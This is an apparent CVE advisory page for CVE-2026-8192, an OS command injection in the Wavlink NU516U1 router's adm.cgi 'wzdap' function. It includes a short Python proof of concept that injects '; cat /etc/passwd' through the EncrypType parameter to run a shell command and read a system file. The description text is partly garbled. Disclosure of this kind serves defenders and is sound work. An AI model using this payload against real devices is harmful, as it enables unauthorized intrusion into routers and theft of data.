Security Vulnerability Report
中文
CVE-2026-8192 CVSS 6.3 MEDIUM

CVE-2026-8192

Published: 2026-05-09 19:16:10
Last Modified: 2026-05-11 15:07:13

Description

A security flaw has been discovered in Wavlink NU516U1 M16U1_V240425. This vulnerability affects the function wzdap of the file /cgi-bin/adm.cgi. Performing a manipulation of the argument EncrypType/wl_Pass is directly passed by the attacker/so we can control the EncrypType/wl_Pass results in os command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Wavlink NU516U1 M16U1_V240425

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL structure based on vulnerability description url = "http://<target_ip>/cgi-bin/adm.cgi" # The vulnerable function is 'wzdap', vulnerable parameters are 'EncrypType' and 'wl_Pass' # Payload to inject a command (e.g., ping back or cat a file) payload = "; cat /etc/passwd" data = { "action": "wzdap", "EncrypType": payload, "wl_Pass": "test" } try: response = requests.post(url, data=data) print("Status Code:", response.status_code) print("Response Body:", response.text) except Exception as e: print("An error occurred:", e)

References

Raw JSON Data

JSON
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